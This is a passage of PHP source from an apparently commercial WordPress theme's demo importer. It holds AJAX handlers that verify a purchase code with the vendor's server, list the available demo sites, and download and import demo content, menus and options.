	</div>
</div>
<?php
	if (isset($thegemThemeOptions)) {
		$thegemThemeOptions->postPageWrapper('thegem-importer');
	}
}

add_action('wp_ajax_thegem_importer_check_purchase_code', 'thegem_importer_check_purchase_code');
function thegem_importer_check_purchase_code () {
	$response_p = wp_remote_get(add_query_arg(array('code' => thegem_importer_get_purchase(), 'info'=>thegem_get_activation_info(), 'site_url' => get_site_url()), 'http://democontent.codex-themes.com/av_validate_code'.(defined('ENVATO_HOSTED_SITE') ? '_envato' : '').'.php'), array('timeout' => 20));
	if(!is_wp_error($response_p)) {
		$rp_data = json_decode($response_p['body'], true);
		if(is_array($rp_data) && isset($rp_data['result']) && $rp_data['result'] && isset($rp_data['item_id']) && $rp_data['item_id'] === '16061685') {
			echo json_encode(array('status' => 200, 'content' => '<p>'.__('The purchase code is confirmed.', 'thegem-importer').'</p>'));
		} else {
			if(!defined('ENVATO_HOSTED_SITE')) {
					echo json_encode(array('status' => 0, 'content' => '<p class="error-message">'.sprintf(__('Purchase code verification failed. <a href="%s">Activate TheGem</a>', 'thegem-importer'), admin_url(class_exists('ThegemThemeOptions') ? 'admin.php?page=thegem-dashboard-welcome':'admin.php?page=thegem-theme-options#activation')).'</p>'));
			} else {
				echo json_encode(array('status' => 0, 'content' => '<p class="error-message">'.__('Verification failed.', 'thegem-importer').'</p>'));
			}
		}
	} else {
		echo json_encode(array('status' => 0, 'content' => thegem_importer_error_content('connecting')));
	}
	die(-1);
}

add_action('wp_ajax_thegem_importer_get_imports_list', 'thegem_importer_get_imports_list');
function thegem_importer_get_imports_list () {
	$response = wp_remote_get(esc_url(THEGEM_IMPORT_URL.'imports.php'), array('timeout' => 20));
	if(!is_wp_error($response)) {
		$rp_data = json_decode($response['body'], true);
		if(is_array($rp_data)) {
			update_option('thegem_importer_imports_data', $rp_data);
			ob_start();
			$categories = array();
			$other_categories = array();
			$keywords = array();
			foreach($rp_data as $id => $data) {
				if(is_array($data)) {
					if(!empty($data['category']) && is_string($data['category'])) {
						if(strpos($data['category'], 'Other/') === 0 && !in_array(str_replace('Other/','',$data['category']), $other_categories)) {
							$other_categories[] = str_replace('Other/','',$data['category']);
						} elseif(strpos($data['category'], 'Other/') === false && !in_array($data['category'], $categories)) {
							$categories[] = $data['category'];
						}
					}
					if(!empty($data['keywords']) && is_string($data['keywords'])) {
						$keywords[] = $data['keywords'];
					}
				}
			}
			$keywords = implode(' ', $keywords);
			$keywords = array_unique(explode(' ', $keywords));
?>
<div class="imports-filter">
	<div class="imports-search">
		<form class="imports-search-form">
			<input class="autocomplete-field" type="text" placeholder="<?php echo esc_attr(__('Search website...', 'thegem-importer')); ?>"<?php echo (!empty($keywords) ? ' data-keywords="'.esc_attr(implode(' ', $keywords)).'"': ''); ?>>
			<button type="submit"><?php _e('Search', 'thegem-importer') ?></button>
		</form>
	</div>
	<div class="imports-categories">
		<div class="imports-category imports-category-all">
			<a href="javascript:void();" data-category="all" class="active"><?php _e('All', 'thegem-importer') ?></a>
		</div>
		<?php foreach($categories as $category) : ?>
			<div class="imports-category">
				<a href="javascript:void();" data-category="<?php echo sanitize_title($category); ?>"><?php echo $category; ?></a>
			</div>
		<?php endforeach; ?>
		<div class="imports-category imports-category-other">
			<a href="javascript:void();" data-category="other">
				<span class="import-line-1"></span>
				<span class="import-line-2"></span>
				<span class="import-line-3"></span>
				<?php _e('Other', 'thegem-importer') ?>
			</a>
			<div class="imports-category-other-list">
				<a href="javascript:void();" class="imports-category-other-close">
					<span class="import-line-1"></span>
					<span class="import-line-3"></span>
				</a>
				<div class="imports-category-other-list-inner">
					<?php foreach($other_categories as $category) : ?>
						<div class="imports-category">
							<a href="javascript:void();" data-category="<?php echo sanitize_title($category); ?>"><?php echo $category; ?></a>
						</div>
					<?php endforeach; ?>
				</div>
			</div>
		</div>
	</div>
</div>
<div class="imports-list">
	<?php foreach($rp_data as $id => $data) : ?>
		<?php if(is_array($data)) : ?>
			<div class="import-item <?php echo esc_attr($id); ?>"<?php echo (!empty($data['category']) && is_string($data['category']) ? ' data-category="'.sanitize_title(str_replace('Other/','',$data['category'])).'"': ''); ?><?php echo (!empty($data['keywords']) && is_string($data['keywords']) ? ' data-keywords="'.esc_attr($data['keywords']).'"': ''); ?>>
				<div class="import-item-wrap">
					<?php if(!empty($data['image'])) : ?>
						<div class="import-image"><img src="<?php echo esc_url($data['image']); ?>" alt="<?php echo esc_attr($id); ?>"></div>
					<?php endif; ?>
					<div class="import-description">
						<?php if(!empty($data['title'])) : ?>
							<div class="import-title"><?php echo $data['title']; ?><?php echo !empty($data['marker']) ? $data['marker'] : ''; ?>
							</div>
						<?php endif; ?>
					</div>
				</div>
				<a href="#" class="import-link" data-import="<?php echo esc_attr($id); ?>"></a>
			</div>
		<?php endif; ?>
	<?php endforeach; ?>
</div>
<?php
			$content = ob_get_clean();
			echo json_encode(array('status' => 200, 'content' => $content));
		}
	} else {
		echo json_encode(array('status' => 0, 'content' => thegem_importer_error_content('connecting')));
	}
	die(-1);
}

add_action('wp_ajax_thegem_importer_get_import_step_1', 'thegem_importer_get_import_step_1');
function thegem_importer_get_import_step_1() {
	$imports_data = get_option('thegem_importer_imports_data');
	$new_prefix = '';
	if(!empty($imports_data[$_REQUEST['import']]['updated_full'])) {
		$new_prefix = '_updated/';
	}
	$response = wp_remote_get(esc_url(THEGEM_IMPORT_URL.$new_prefix.$_REQUEST['import'].'/import.json'), array('timeout' => 20));
	if(!is_wp_error($response)) {
		$rp_data = json_decode($response['body'], true);
		if(is_array($rp_data)) {
			ob_start();
			$import_data = $rp_data;
			$imports_data = get_option('thegem_importer_imports_data');
			$import_data['image'] = esc_url(THEGEM_IMPORT_URL.$_REQUEST['import'].'/screenshot.jpg');
			$sliders = $import_data['sliders'];
			foreach($sliders as $alias => $filename) {
				$sliders[$alias] = esc_url(THEGEM_IMPORT_URL.$new_prefix.$_REQUEST['import'].'/sliders/'.$filename);
			}
			$import_data['sliders'] = $sliders;
			update_option('thegem_importer_data', $import_data);
			$status = 200;
?>
<div class="thegem-importer-wrap thegem-importer-step-1">
	<?php if($import_data['image'] && $import_data['title']) : ?>
		<div class="import-popup-title">
			<div class="import-image"><img src="<?php echo esc_url($import_data['image']); ?>" alt="<?php echo esc_attr($import_data['title']); ?>"><?php if(!empty($imports_data[$_REQUEST['import']]['link'])) : ?><a href="<?php echo esc_url($imports_data[$_REQUEST['import']]['link']); ?>" class="import-popup-preview-link" target="_blank"><span><?php _e('Preview Pre-built Website', 'thegem-importer'); ?></span></a><?php endif; ?></div>
			<div class="import-title"><?php echo $import_data['title']; ?></div>
		</div>
	<?php endif; ?>
	<?php if(!empty($imports_data[$_REQUEST['import']]['woocommerce']) && empty($_REQUEST['ignore_plugins']) && (!function_exists('WC') || !defined( 'YITH_WCWL' ))) : $status = 100; ?>
		<div class="import-select-warning"><?php _e('Please install following plugins before<br>importing this demo:', 'thegem-importer'); ?></div>
		<div class="import-select-woocommerce-required-table">
			<div class="required-table-row">
				<div class="required-table-title"><span class="plugin-name"><?php _e('WooCommerce', 'thegem-importer'); ?></span><span class="required-plugin"><?php _e('(required)', 'thegem-importer'); ?></span></div>
				<div class="required-table-button">
					<?php if(!function_exists('WC')) : ?>
						<a href="<?php echo admin_url('plugin-install.php?s=woocommerce&tab=search&type=term'); ?>" target="_blank" class="plugin-install"><?php _e('Install', 'thegem-importer'); ?></a>
					<?php else : ?>
						<span class="plugin-installed"><?php _e('Installed', 'thegem-importer'); ?></span>
					<?php endif; ?>
				</div>
			</div>
			<div class="required-table-row">
				<div class="required-table-title"><span class="plugin-name"><?php _e('YITH Wishlist', 'thegem-importer'); ?></span><span class="recommended-plugin"><?php _e('(recommended)', 'thegem-importer'); ?></span></div>
				<div class="required-table-button">
					<?php if(!defined( 'YITH_WCWL' )) : ?>
						<a href="<?php echo admin_url('plugin-install.php?s=yith-woocommerce-wishlist&tab=search&type=term'); ?>" target="_blank" class="plugin-install"><?php _e('Install', 'thegem-importer'); ?></a>
					<?php else : ?>
						<span class="plugin-installed"><?php _e('Installed', 'thegem-importer'); ?></span>
					<?php endif; ?>
				</div>
			</div>
		</div>
		<div class="submit-buttons">
			<button type="button" class="cancel-import plugins-cancel-import"><?php _e('Cancel', 'thegem-importer'); ?></button>
			<?php if(function_exists('WC')) : ?>
				<button type="button" class="plugins-proceed-import"><?php _e('Proceed', 'thegem-importer'); ?></button>
			<?php endif; ?>
		</div>
	<?php elseif(!empty($imports_data[$_REQUEST['import']]['required_child']) && get_stylesheet() != $imports_data[$_REQUEST['import']]['required_child']) : ?>
		<div class="import-select-title"><?php _e('Warning', 'thegem-importer'); ?></div>
		<div class="import-select-warning">
			<?php if(!empty($imports_data[$_REQUEST['import']]['required_child_message'])) : ?>
				<?php echo $imports_data[$_REQUEST['import']]['required_child_message']; ?>
			<?php else : ?>
				<?php printf(__('%s child theme is required. Please install it.', 'thegem-importer'),$imports_data[$_REQUEST['import']]['required_child']); ?>
			<?php endif; ?>
		</div>
		<div class="submit-buttons">
			<button type="button" class="cancel-import"><?php _e('Cancel', 'thegem-importer'); ?></button>
			<a href="<?php echo admin_url('theme-install.php'); ?>" class="submit-import"><?php _e('Install Theme', 'thegem-importer'); ?></a>
		</div>
	<?php else : ?>
		<div class="import-select-title"><?php _e('Installation Options', 'thegem-importer'); ?></div>
		<form class="import-select-type">
			<input type="hidden" name="import" value="<?php echo esc_attr($_REQUEST['import']); ?>" />
			<div class="import-type-wrap active">
				<div class="field"><label><input type="radio" name="import_type" value="full" checked="checked"> <?php _e('Install complete pre-built website', 'thegem-importer'); ?></label></div>
				<div class="description"><?php _e('<span class="note">Note:</span> This will automatically replace your menus and homepages', 'thegem-importer'); ?></div>
			</div>
			<div class="import-type-wrap">
				<div class="field"><label><input type="radio" name="import_type" value="part"> <?php _e('Install single pages from pre-built website', 'thegem-importer'); ?></label></div>
				<div class="description"><?php _e('Here you can select single pages from pre-built demo website to be imported', 'thegem-importer'); ?></div>
			</div>
			<div class="submit-buttons">
				<button type="button" class="cancel-import"><?php _e('Cancel', 'thegem-importer'); ?></button>
				<button type="submit" class="submit-import"><?php _e('Next Step', 'thegem-importer'); ?></button>
			</div>
		</form>
	<?php endif; ?>
</div>
<?php
			$content = ob_get_clean();
			echo json_encode(array('status' => $status, 'content' => $content));
		} else {
			echo json_encode(array('status' => 0, 'content' => thegem_importer_error_content('data')));
		}
	} else {
		echo json_encode(array('status' => 0, 'content' => thegem_importer_error_content('connecting')));
	}
	die(-1);
}

add_action('wp_ajax_thegem_importer_check_plugins', 'thegem_importer_check_plugins');
function thegem_importer_check_plugins() {
	$import_data = get_option('thegem_importer_data');
	if(is_array($import_data)) {
		$status =200;
		if(!empty($import_data['woocommerce']) && (!function_exists('WC') || !defined( 'YITH_WCWL' ))) {
			$status = 100;
		}
		ob_start();
?>
<div class="import-select-woocommerce-required-table">
	<div class="required-table-row">
		<div class="required-table-title"><span class="plugin-name"><?php _e('WooCommerce', 'thegem-importer'); ?></span><span class="required-plugin"><?php _e('(required)', 'thegem-importer'); ?></span></div>
		<div class="required-table-button">
			<?php if(!function_exists('WC')) : ?>
				<a href="<?php echo admin_url('plugin-install.php?s=woocommerce&tab=search&type=term'); ?>" target="_blank" class="plugin-install"><?php _e('Install', 'thegem-importer'); ?></a>
			<?php else : ?>
				<span class="plugin-installed"><?php _e('Installed', 'thegem-importer'); ?></span>
			<?php endif; ?>
		</div>
	</div>
	<div class="required-table-row">
		<div class="required-table-title"><span class="plugin-name"><?php _e('YITH Wishlist', 'thegem-importer'); ?></span><span class="recommended-plugin"><?php _e('(recommended)', 'thegem-importer'); ?></span></div>
		<div class="required-table-button">
			<?php if(!defined( 'YITH_WCWL' )) : ?>
				<a href="<?php echo admin_url('plugin-install.php?s=yith-woocommerce-wishlist&tab=search&type=term'); ?>" target="_blank" class="plugin-install"><?php _e('Install', 'thegem-importer'); ?></a>
			<?php else : ?>
				<span class="plugin-installed"><?php _e('Installed', 'thegem-importer'); ?></span>
			<?php endif; ?>
		</div>
	</div>
</div>
<?php
	$content_table = ob_get_clean();
	ob_start();
?>
		<div class="submit-buttons">
			<button type="button" class="cancel-import plugins-cancel-import"><?php _e('Cancel', 'thegem-importer'); ?></button>
			<?php if(function_exists('WC')) : ?>
				<button type="button" class="plugins-proceed-import"><?php _e('Proceed', 'thegem-importer'); ?></button>
			<?php endif; ?>
		</div>
<?php
			$content_buttons = ob_get_clean();
		echo json_encode(array('status' => $status, 'content_table' => $content_table, 'content_buttons' => $content_buttons));
	} else {
		echo json_encode(array('status' => 0, 'content' => thegem_importer_error_content('connecting')));
	}
	die(-1);
}

add_action('wp_ajax_thegem_importer_get_import_step_2', 'thegem_importer_get_import_step_2');
function thegem_importer_get_import_step_2() {
	$import_data = get_option('thegem_importer_data');
	$imports_data = get_option('thegem_importer_imports_data');
	if(is_array($import_data)) {
			ob_start();
?>
<div class="thegem-importer-wrap thegem-importer-step-2">
	<div class="import-select-data-title"><?php _e('Additional import options', 'thegem-importer'); ?></div>
	<form class="import-data-select <?php echo esc_attr($_REQUEST['import_type']); ?>">
		<input type="hidden" name="import" value="<?php echo esc_attr($_REQUEST['import']); ?>" />
		<input type="hidden" name="import_type" value="<?php echo esc_attr($_REQUEST['import_type']); ?>" />
		<div class="basic-data-select">
			<div class="import-data-wrap">
				<div class="field"><label><input type="checkbox" name="import_theme_options" value="1"<?php echo $_REQUEST['import_type'] != 'part' ? ' checked="checked"' : ''; ?>> <?php _e('Import theme options', 'thegem-importer'); ?></label></div>
				<div class="description"<?php echo $_REQUEST['import_type'] == 'part' ? ' style="display: none;"' : ''; ?>><?php printf(__('<span class="note">Note:</span> your current theme options will be overwritten. We recommend to <a href="%s"> backup your theme options.</a>', 'thegem-importer'), admin_url('admin.php?page=thegem-theme-options#backup')); ?></div>
			</div>
			<div class="import-data-wrap">
				<div class="field"><label><input type="checkbox" name="import_rev_sliders" value="1" checked="checked"> <?php _e('Import Revolution sliders', 'thegem-importer'); ?></label></div>
			</div>
			<div class="import-data-wrap">
				<div class="field"><label><input type="checkbox" name="import_media" value="1" checked="checked"> <?php _e('Import media', 'thegem-importer'); ?></label></div>
			</div>
		</div>
		<?php
			if($_REQUEST['import_type'] == 'part') {
				$new_prefix = '';
				if(!empty($imports_data[$_REQUEST['import']]['updated_full'])) {
					$new_prefix = '_updated/';
				}
				$resp_content = wp_remote_get(esc_url(THEGEM_IMPORT_URL.$new_prefix.$_REQUEST['import'].'/content/content_singles.json'), array('timeout' => 20));
				$resp_links = wp_remote_get(esc_url(THEGEM_IMPORT_URL.$new_prefix.$_REQUEST['import'].'/posts_links.json'), array('timeout' => 20));
				if(!is_wp_error($resp_content) && !is_wp_error($resp_links)) {
					$rp_content = json_decode($resp_content['body'], true);
					$rp_links = json_decode($resp_links['body'], true);
					if(is_array($rp_content) && is_array($rp_links)) : ?>
						<div class="part-data-select">
							<?php if(count($rp_content['pages'])) : ?>
								<div class="import-data-part-column">
									<div class="column-title"><?php _e('Pages', 'thegem-importer'); ?></div>
									<div class="column-items">
										<label class="column-title-select-all"><input type="checkbox" name="select_all" value="1" checked="checked"> <?php _e('Select / Deselect All', 'thegem-importer'); ?></label>
										<?php foreach($rp_content['pages'] as $page) : ?>
											<div class="column-group">
												<div class="column-group-parent">
													<div class="field"><label><?php if(!isset($page['children'])) : ?><input type="checkbox" name="import_part_select[]" value="<?php echo esc_attr(implode(',',$page['ids'])); ?>" checked="checked"> <?php endif; ?><?php echo esc_attr($page['title']); ?></label><?php if(!empty($import_data['live_url']) && !isset($page['children'])) : ?> <a target="_blank" href="<?php echo esc_url($rp_links[$page['id']]); ?>"><?php _e('Preview', 'thegem-importer'); ?></a><?php endif; ?></div>
												</div>
												<?php if(isset($page['children'])) : ?>
													<div class="column-group-children">
														<?php foreach($page['children'] as $child) : ?>
															<div class="column-group-child">
																<div class="field"><label><input type="checkbox" name="import_part_select[]" value="<?php echo esc_attr(implode(',',$child['ids'])); ?>" checked="checked"> <?php echo esc_attr($child['title']); ?></label><?php if(!empty($import_data['live_url'])) : ?> <a target="_blank" href="<?php echo esc_url($rp_links[$child['id']]); ?>"><?php _e('Preview', 'thegem-importer'); ?></a><?php endif; ?></div>
																<?php if(isset($child['children'])) : ?>
																	<div class="column-group-children-children">
																		<?php foreach($child['children'] as $child_child) : ?>
																			<div class="column-group-child">
																				<div class="field"><label><input type="checkbox" name="import_part_select[]" value="<?php echo esc_attr(implode(',',$child_child['ids'])); ?>" checked="checked"> <?php echo esc_attr($child_child['title']); ?></label><?php if(!empty($import_data['live_url'])) : ?> <a target="_blank" href="<?php echo esc_url($rp_links[$child_child['id']]); ?>"><?php _e('Preview', 'thegem-importer'); ?></a><?php endif; ?></div>
																			</div>
																		<?php endforeach; ?>
																	</div>
																<?php endif; ?>
															</div>
														<?php endforeach; ?>
													</div>
												<?php endif; ?>
											</div>
										<?php endforeach; ?>
									</div>
								</div>
							<?php endif; ?>
							<?php if(count($rp_content['posts'])) : ?>
								<div class="import-data-part-column">
									<div class="column-title"><?php _e('Posts', 'thegem-importer'); ?></div>
									<div class="column-items">
										<label class="column-title-select-all" ><input type="checkbox" name="select_all" value="1" checked="checked"> <?php _e('Select / Deselect All', 'thegem-importer'); ?></label>
										<?php foreach($rp_content['posts'] as $page) : ?>
											<div class="column-group">
												<div class="column-group-parent">
													<div class="field"><label><input type="checkbox" name="import_part_select[]" value="<?php echo esc_attr(implode(',',$page['ids'])); ?>" checked="checked"> <?php echo esc_attr($page['title']); ?></label><?php if(!empty($import_data['live_url'])) : ?> <a target="_blank" href="<?php echo esc_url($rp_links[$page['id']]); ?>"><?php _e('Preview', 'thegem-importer'); ?></a><?php endif; ?></div>
												</div>
												<?php if(isset($page['children'])) : ?>
													<div class="column-group-children">
														<?php foreach($page['children'] as $child) : ?>
															<div class="column-group-child">
																<div class="field"><label><input type="checkbox" name="import_part_select[]" value="<?php echo esc_attr(implode(',',$child['ids'])); ?>" checked="checked"> <?php echo esc_attr($child['title']); ?></label><?php if(!empty($import_data['live_url'])) : ?> <a target="_blank" href="<?php echo esc_url($rp_links[$child['id']]); ?>"><?php _e('Preview', 'thegem-importer'); ?></a><?php endif; ?></div>
															</div>
														<?php endforeach; ?>
													</div>
												<?php endif; ?>
											</div>
										<?php endforeach; ?>
									</div>
								</div>
							<?php endif; ?>
							<?php if(count($rp_content['portfolios'])) : ?>
								<div class="import-data-part-column">
									<div class="column-title"><?php _e('Portfolios', 'thegem-importer'); ?></div>
									<label class="column-title-select-all"><input type="checkbox" name="select_all" value="1" checked="checked"> <?php _e('Select / Deselect All', 'thegem-importer'); ?></label>
									<div class="column-items">
										<?php foreach($rp_content['portfolios'] as $page) : ?>
											<div class="column-group">
												<div class="column-group-parent">
													<div class="field"><label><input type="checkbox" name="import_part_select[]" value="<?php echo esc_attr(implode(',',$page['ids'])); ?>" checked="checked"> <?php echo esc_attr($page['title']); ?></label><?php if(!empty($import_data['live_url'])) : ?> <a target="_blank" href="<?php echo esc_url($rp_links[$page['id']]); ?>"><?php _e('Preview', 'thegem-importer'); ?></a><?php endif; ?></div>
												</div>
												<?php if(isset($page['children'])) : ?>
													<div class="column-group-children">
														<?php foreach($page['children'] as $child) : ?>
															<div class="column-group-child">
																<div class="field"><label><input type="checkbox" name="import_part_select[]" value="<?php echo esc_attr(implode(',',$child['ids'])); ?>" checked="checked"> <?php echo esc_attr($child['title']); ?></label><?php if(!empty($import_data['live_url'])) : ?> <a target="_blank" href="<?php echo esc_url($rp_links[$child['id']]); ?>"><?php _e('Preview', 'thegem-importer'); ?></a><?php endif; ?></div>
															</div>
														<?php endforeach; ?>
													</div>
												<?php endif; ?>
											</div>
										<?php endforeach; ?>
									</div>
								</div>
							<?php endif; ?>
							<?php if(count($rp_content['products'])) : ?>
								<div class="import-data-part-column">
									<div class="column-title"><?php _e('Products', 'thegem-importer'); ?></div>
									<label class="column-title-select-all" ><input type="checkbox" name="select_all" value="1" checked="checked"> <?php _e('Select / Deselect All', 'thegem-importer'); ?></label>
									<div class="column-items">
										<?php foreach($rp_content['products'] as $page) : ?>
											<div class="column-group">
												<div class="column-group-parent">
													<div class="field"><label><input type="checkbox" name="import_part_select[]" value="<?php echo esc_attr(implode(',',$page['ids'])); ?>" checked="checked"> <?php echo esc_attr($page['title']); ?></label><?php if(!empty($import_data['live_url'])) : ?> <a target="_blank" href="<?php echo esc_url($rp_links[$page['id']]); ?>"><?php _e('Preview', 'thegem-importer'); ?></a><?php endif; ?></div>
												</div>
												<?php if(isset($page['children'])) : ?>
													<div class="column-group-children">
														<?php foreach($page['children'] as $child) : ?>
															<div class="column-group-child">
																<div class="field"><label><input type="checkbox" name="import_part_select[]" value="<?php echo esc_attr(implode(',',$child['ids'])); ?>" checked="checked"> <?php echo esc_attr($child['title']); ?></label><?php if(!empty($import_data['live_url'])) : ?> <a target="_blank" href="<?php echo esc_url($rp_links[$child['id']]); ?>"><?php _e('Preview', 'thegem-importer'); ?></a><?php endif; ?></div>
															</div>
														<?php endforeach; ?>
													</div>
												<?php endif; ?>
											</div>
										<?php endforeach; ?>
									</div>
								</div>
							<?php endif; ?>
						</div>
					<?php endif;
				}
			}
		?>
		<div class="submit-buttons">
			<button type="button" class="cancel-import"><?php _e('Cancel', 'thegem-importer'); ?></button>
			<button type="submit" class="submit-import"><?php _e('Submit', 'thegem-importer'); ?></button>
		</div>
	</form>
</div>
<?php
		$content = ob_get_clean();
		echo json_encode(array('status' => 200, 'content' => $content));
	} else {
		echo json_encode(array('status' => 0, 'content' => thegem_importer_error_content('data')));
	}
	die(-1);
}

add_action('wp_ajax_thegem_importer_get_import_step_3', 'thegem_importer_get_import_step_3');
function thegem_importer_get_import_step_3() {
	$import_data = get_option('thegem_importer_data');
	$imports_data = get_option('thegem_importer_imports_data');
	if(is_array($import_data)) {
		ob_start();
		require_once(ABSPATH . 'wp-admin/includes/file.php');
		$wp_upload_dir = wp_upload_dir();
		$importer_dir = $wp_upload_dir['basedir'] . '/thegem-importer';
		if(!wp_mkdir_p($importer_dir)) {
			echo json_encode(array('status' => 0, 'content' => '<p class="error-message">'.__('Can\'t create import directory.', 'thegem-importer').'</p>'));
			die(-1);
		}
		$import_selection = array_merge(array(
			'import' => '',
			'import_type' => '',
			'import_part_select' => '',
			'import_theme_options' => 0,
			'import_rev_sliders' => 0,
			'import_media' => 0,
			'site_url' => site_url(),
		), $_REQUEST);
		update_option('thegem_importer_selection', $import_selection);
		wp_remote_get(esc_url(add_query_arg($import_selection, THEGEM_IMPORT_URL.'statistic.php'), null, ''), array('timeout' => 20));
		$new_prefix = '';
		$single_new_prefix = '';
		if(!empty($imports_data[$import_selection['import']]['updated'])) {
			$new_prefix = '_updated/';
			$single_new_prefix = '_updated/';
		}
		if($import_selection['import_type'] == 'part' && empty($imports_data[$import_selection['import']]['updated_full'])) {
			$single_new_prefix = '';
		}
		write_log('prefix '.$new_prefix);
		write_log('single_new_prefix '.$single_new_prefix);
		$content_file_temp = download_url(THEGEM_IMPORT_URL.$single_new_prefix.$import_selection['import'].'/content/content.xml');
		$product_attributes_file_temp = download_url(THEGEM_IMPORT_URL.$single_new_prefix.$import_selection['import'].'/product_attributes.json');
		$attachments_file_temp = download_url(THEGEM_IMPORT_URL.$single_new_prefix.$import_selection['import'].'/content/content_attachments.json');
		$options_file_temp = download_url(THEGEM_IMPORT_URL.$new_prefix.$import_selection['import'].'/theme_options.json');
		$page_settings_file_temp = download_url(THEGEM_IMPORT_URL.$new_prefix.$import_selection['import'].'/page_settings.json');
		$additionals_fonts_file_temp = download_url(THEGEM_IMPORT_URL.$new_prefix.$import_selection['import'].'/additionals_fonts.json');
		$menu_file_temp = download_url(THEGEM_IMPORT_URL.$new_prefix.$import_selection['import'].'/content/content_menu.xml');
		$widgets_file_temp = download_url(THEGEM_IMPORT_URL.$new_prefix.$import_selection['import'].'/widgets.json');
		$forms_file_temp = download_url(THEGEM_IMPORT_URL.$single_new_prefix.$import_selection['import'].'/content/content_contact_forms.json');

		if( is_wp_error( $product_attributes_file_temp ) || is_wp_error( $content_file_temp ) || is_wp_error( $attachments_file_temp ) || is_wp_error( $options_file_temp ) || is_wp_error( $page_settings_file_temp ) || is_wp_error( $menu_file_temp ) || is_wp_error( $widgets_file_temp ) || is_wp_error( $forms_file_temp )) {
			echo json_encode(array('status' => 0, 'content' => thegem_importer_error_content(__('Can\'t download files from demo-content server.', 'thegem-importer'))));
			die(-1);
		} else {
			$content_file = @copy($content_file_temp, $importer_dir.'/content.xml');
			$product_attributes_file = @copy($product_attributes_file_temp, $importer_dir.'/product_attributes.json');
			$attachments_file = @copy($attachments_file_temp, $importer_dir.'/content_attachments.json');
			$options_file = @copy($options_file_temp, $importer_dir.'/theme_options.json');
			$page_settings_file = @copy($page_settings_file_temp, $importer_dir.'/page_settings.json');
			$additionals_fonts_file = @copy($additionals_fonts_file_temp, $importer_dir.'/additionals_fonts.json');
			$menu_file = @copy($menu_file_temp, $importer_dir.'/content_menu.xml');
			$widgets_file = @copy($widgets_file_temp, $importer_dir.'/widgets.json');
			$forms_file = @copy($forms_file_temp, $importer_dir.'/content_contact_forms.json');
		}
		unlink($content_file_temp);
		unlink($product_attributes_file_temp);
		unlink($attachments_file_temp);
		unlink($options_file_temp);
		unlink($additionals_fonts_file_temp);
		unlink($menu_file_temp);
		unlink($widgets_file_temp);
		unlink($forms_file_temp);

		if (! defined('WP_LOAD_IMPORTERS')) define('WP_LOAD_IMPORTERS', true);
		require_once(plugin_dir_path( __FILE__ ) . 'inc/wordpress-importer.php');
		$wp_import = new WP_Import();
		$wp_import->fetch_attachments = true;
		$parse = $wp_import->parse($importer_dir.'/content.xml');

		update_option('thegem_importer_progress', array('current' => 0, 'total' => count($parse['posts'])));

		delete_option('thegem_importer_ids');

		if($import_selection['import_type'] == 'part' && is_array($import_selection['import_part_select'])) {
			$ids = array();
			foreach($import_selection['import_part_select'] as $ids_group) {
				$ids = array_merge($ids, explode(',', $ids_group));
			}
			update_option('thegem_importer_progress', array('current' => 0, 'total' => count($ids)));
			update_option('thegem_importer_ids', $ids);
		}

		$attachments_content = file_get_contents($importer_dir.'/content_attachments.json');
		$attachments_data = json_decode($attachments_content, true);
		update_option('thegem_importer_attachments_data', $attachments_data);

		$forms_content = file_get_contents($importer_dir.'/content_contact_forms.json');
		$forms_data = json_decode($forms_content, true);
		update_option('thegem_importer_forms_data', $forms_data);


		delete_option('thegem_importer_finalize_step');
?>
<div class="thegem-importer-wrap thegem-importer-step-3">
	<?php if($import_data['image'] && $import_data['title']) : ?>
		<div class="import-popup-title">
			<div class="import-image"><img src="<?php echo esc_url($import_data['image']); ?>" alt="<?php echo esc_attr($import_data['title']); ?>"></div>
			<div class="import-title"><?php echo $import_data['title']; ?></div>
		</div>
	<?php endif; ?>
	<div class="import-select-title"><?php _e('Installation in progress', 'thegem-importer'); ?></div>
	<div class="import-progress-bar"><div class="import-progress-bar-line" style="width: 0%;" data-percent="0"></div><div class="import-progress-bar-percents"><span class="number">0</span>%</div></div>
	<?php if($import_selection['import_type'] != 'part') : ?>
			<div class="import-select-data-desription"><?php _e('Installing website and options, please be patient.', 'thegem-importer'); ?></div>
		<?php else : ?>
			<div class="import-select-data-desription"><?php _e('Installing pages and options, please be patient.', 'thegem-importer'); ?></div>
	<?php endif; ?>


	<div class="submit-buttons">
		<button type="button" class="cancel-import"><?php _e('Cancel', 'thegem-importer'); ?></button>
	</div>
</div>
<?php
		$content = ob_get_clean();
		echo json_encode(array('status' => 200, 'content' => $content));
	} else {
		echo json_encode(array('status' => 0, 'content' => thegem_importer_error_content('data')));
	}
	die(-1);
}

add_action('wp_ajax_thegem_importer_process', 'thegem_importer_process');
function thegem_importer_process() {
	$import_selection = get_option('thegem_importer_selection');
	ob_start();
	$wp_upload_dir = wp_upload_dir();
	$importer_dir = $wp_upload_dir['basedir'] . '/thegem-importer';
	if (! defined('WP_LOAD_IMPORTERS')) define('WP_LOAD_IMPORTERS', true);
	require_once(plugin_dir_path( __FILE__ ) . '/inc/wordpress-importer.php');

	WP_Import::setImportDir($importer_dir);
	$wp_import = WP_Import::getInstance();

	$wp_import->fetch_attachments = $import_selection['import_media'] ? true : false;
	$ids = get_option('thegem_importer_ids');

	if(!empty($ids) && is_array($ids)) {
		$result = $wp_import->import($importer_dir.'/content.xml', $ids);
	} else {
		$result = $wp_import->import($importer_dir.'/content.xml');
	}

	//$progress = get_option('thegem_importer_progress');
	//update_option('thegem_importer_progress', array('current' => 0, 'max' => 0, 'total' => $progress['total']));
	while (ob_get_level() > 0) {
		ob_end_clean();
	}
	if($result === 10 || $result === 20) {
		echo json_encode(array('status' => $result, 'content' => 'Repeat'));
	} else {
		echo json_encode(array('status' => 200, 'content' => 'End'));
		$progress = get_option('thegem_importer_progress');
		update_option('thegem_importer_progress', array('current' => $progress['total'], 'total' => $progress['total']));
	}
	die(-1);
}

add_action('wp_ajax_thegem_importer_get_import_step_finalize', 'thegem_importer_get_import_step_finalize');
function thegem_importer_get_import_step_finalize() {
	$step = get_option('thegem_importer_finalize_step');
	$import_selection = get_option('thegem_importer_selection');
	$status = 200;
	ob_start();

	if(!$step) {
		thegem_importer_update_images();
		if($import_selection['import_type'] == 'part') {
			if($import_selection['import_rev_sliders']) {
				update_option('thegem_importer_finalize_step', 'sliders');
			} else {
				update_option('thegem_importer_finalize_step', 'settings');
			}
		} else {
			update_option('thegem_importer_finalize_step', 'menu');
		}
		$status = 10;
		$content = __('Importing menu.', 'thegem-importer');
	} elseif($step == 'menu') {
		$result = thegem_importer_import_menu();
		if($result == 20) {
			$content = __('Importing menu.', 'thegem-importer');
		} else {
			if($import_selection['import_rev_sliders']) {
